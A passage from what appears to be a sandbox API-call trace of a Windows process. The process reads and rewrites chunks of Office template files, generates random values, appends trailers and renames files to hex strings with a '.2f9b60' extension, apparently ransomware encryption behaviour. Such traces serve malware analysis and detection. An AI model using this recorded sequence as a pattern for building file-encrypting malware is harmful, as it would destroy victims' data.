lpNumberOfBytesRead=0x35e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0112.985] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0112.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0112.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e0c1b0 [0112.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0112.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0112.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d30) returned 1 [0112.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0112.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.987] WriteFile (in: hFile=0x15dc, lpBuffer=0x41e0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e0c1b0*, lpNumberOfBytesWritten=0x35e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e0c1b0) returned 1 [0128.345] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x2ea400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.345] ReadFile (in: hFile=0x15dc, lpBuffer=0x41e085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e085a0*, lpNumberOfBytesRead=0x35e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.347] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x2ea400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0128.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced87f0 [0128.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced87f0) returned 1 [0128.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e0c1b0 [0128.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced87f0 [0128.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced87c0 [0128.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced87c0) returned 1 [0128.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0128.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.348] WriteFile (hFile=0x15dc, lpBuffer=0x41e0c1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35e8f9a0, lpOverlapped=0x0) [0171.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e0c1b0) returned 1 [0171.029] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x5ce7e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.029] ReadFile (in: hFile=0x15dc, lpBuffer=0x41e085a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x41e085a0*, lpNumberOfBytesRead=0x35e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.210] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x5ce7e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d250 [0171.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d250) returned 1 [0171.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203461b0 [0171.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d250 [0171.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d280 [0171.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d280) returned 1 [0171.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.213] WriteFile (in: hFile=0x15dc, lpBuffer=0x203461b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35e8f9a0, lpOverlapped=0x0 | out: lpBuffer=0x203461b0*, lpNumberOfBytesWritten=0x35e8f9a0*=0x3c00, lpOverlapped=0x0) returned 1 [0187.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203461b0) returned 1 [0187.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15610 [0187.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d250) returned 1 [0187.189] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced87f0) returned 1 [0187.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0187.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e085a0) returned 1 [0187.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ea30 [0187.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0187.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262990) returned 1 [0187.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ea70 [0187.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262990 [0187.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d40 [0187.192] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260d40) returned 1 [0187.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.193] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x158) returned 0x133ce0 [0187.194] SetFilePointerEx (in: hFile=0x15dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.194] WriteFile (in: hFile=0x15dc, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x35e8fa50, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x35e8fa50*=0x158, lpOverlapped=0x0) returned 1 [0200.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fff00 [0200.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fff00) returned 1 [0200.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204fff00 [0200.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffed0 [0200.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe10 [0200.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe10) returned 1 [0200.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1b859390 [0200.957] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.957] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="0e") returned 2 [0200.957] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="0d") returned 2 [0200.957] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="25") returned 2 [0200.957] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="6b") returned 2 [0200.957] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="72") returned 2 [0200.957] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="d8") returned 2 [0200.957] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="58") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="13") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="53") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="d2") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="9e") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="d5") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="65") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="8a") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="2e") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="72") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="52") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="44") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="72") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="18") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="cf") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="00") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="71") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.958] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="42") returned 2 [0200.959] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="74") returned 2 [0200.959] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.959] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="74") returned 2 [0200.959] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="1f") returned 2 [0200.959] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="da") returned 2 [0200.959] RtlInitAnsiString (in: DestinationString=0x35e8fac8, SourceString="c50e0d256b72d8ae581353d2cf9ed5658a2e72cb528bf9a0447218cf00fb716f42748f741fda" | out: DestinationString="c50e0d256b72d8ae581353d2cf9ed5658a2e72cb528bf9a0447218cf00fb716f42748f741fda") [0200.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x35e8fa98, SourceString="c50e0d256b72d8ae581353d2cf9ed5658a2e72cb528bf9a0447218cf00fb716f42748f741fda", AllocateDestinationString=1 | out: DestinationString="c50e0d256b72d8ae581353d2cf9ed5658a2e72cb528bf9a0447218cf00fb716f42748f741fda") returned 0x0 [0200.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431ebbc0 [0200.960] wcscat (in: _Dest=0x431893a0, _Source="c50e0d256b72d8ae581" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581" [0200.960] wcscat (in: _Dest=0x431893a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581.2f9b60" [0200.960] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581.2f9b60", NtPathName=0x35e8fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\c50e0d256b72d8ae581.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4314a960 Thread: id = 1139 os_tid = 0x5cc [0112.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx")) returned 0x20 [0112.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx", dwFileAttributes=0x20) returned 1 [0112.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BlackTieMergeLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\blacktiemergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1684 [0112.983] GetFileSizeEx (in: hFile=0x1684, lpFileSize=0x35f3f8c0 | out: lpFileSize=0x35f3f8c0*=6103321) returned 1 [0112.983] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x5d2115, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.983] ReadFile (in: hFile=0x1684, lpBuffer=0x35f3f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35f3f888, lpOverlapped=0x0 | out: lpBuffer=0x35f3f840*, lpNumberOfBytesRead=0x35f3f888*=0x4, lpOverlapped=0x0) returned 1 [0112.988] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0112.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0112.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0112.988] NtQuerySystemTime (in: CurrentTime=0x35f3f780 | out: CurrentTime=0x35f3f780*=132462177184426000) returned 0x0 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x756fc136 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x36fb365e [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x215ec66c [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x79742e80 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x213c4e6e [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x46d6fc89 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x23a2a446 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x32cf1f5 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x36e37e28 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x79312edd [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x54768291 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x135e29d2 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x1eec1ca [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x5b399e09 [0112.989] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x435c9e7b [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x25969c1 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x75445d79 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0xc746f18 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0xf35a19f [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x6e7cb6a5 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x3fe0915e [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x7c07434a [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x799f0740 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x4832d8af [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x7b0e82d8 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x4cfc769a [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0xff42b31 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x21dfc6c5 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x3c972a32 [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x21708d7d [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x6c6cc36b [0112.990] RtlRandomEx (in: Seed=0x35f3f770 | out: Seed=0x35f3f770) returned 0x45a0e2b2 [0113.004] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.004] ReadFile (in: hFile=0x1684, lpBuffer=0x41d93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35f3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d93cc0*, lpNumberOfBytesRead=0x35f3f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.011] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0113.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d30) returned 1 [0113.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d978d0 [0113.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d30 [0113.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0113.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ff0) returned 1 [0113.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.012] WriteFile (in: hFile=0x1684, lpBuffer=0x41d978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35f3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d978d0*, lpNumberOfBytesWritten=0x35f3f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d978d0) returned 1 [0130.300] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x2ea400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.300] ReadFile (in: hFile=0x1684, lpBuffer=0x41d93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35f3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d93cc0*, lpNumberOfBytesRead=0x35f3f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.302] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x2ea400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0130.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859880) returned 1 [0130.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d978d0 [0130.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859880 [0130.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0130.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8597c0) returned 1 [0130.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.304] WriteFile (hFile=0x1684, lpBuffer=0x41d978d0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35f3f7e0, lpOverlapped=0x0) [0171.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d978d0) returned 1 [0171.017] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x5ce519, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.017] ReadFile (in: hFile=0x1684, lpBuffer=0x41d93cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x35f3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d93cc0*, lpNumberOfBytesRead=0x35f3f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0171.193] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x5ce519, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0171.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d160) returned 1 [0171.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d978d0 [0171.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d160 [0171.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d190 [0171.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d190) returned 1 [0171.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.196] WriteFile (in: hFile=0x1684, lpBuffer=0x41d978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x35f3f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41d978d0*, lpNumberOfBytesWritten=0x35f3f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.653] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d978d0) returned 1 [0194.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf4b0 [0194.653] SetFilePointerEx (in: hFile=0x1684, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.653] WriteFile (in: hFile=0x1684, lpBuffer=0x1cdb89f0*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x35f3f890, lpOverlapped=0x0 | out: lpBuffer=0x1cdb89f0*, lpNumberOfBytesWritten=0x35f3f890*=0x162, lpOverlapped=0x0) returned 1 [0202.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0202.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0202.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613a0 [0202.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613a0) returned 1 [0202.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1ce5dcf0 [0202.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613a0 [0202.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 [0202.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639b0) returned 1 [0202.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0202.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0202.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1cddf520 [0202.023] sprintf (in: _Dest=0x1cddf520, _Format="%c%c" | out: _Dest="df") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf522, _Format="%c%c" | out: _Dest="e4") returned 2 [0202.023] sprintf (in: _Dest=0x1cddf524, 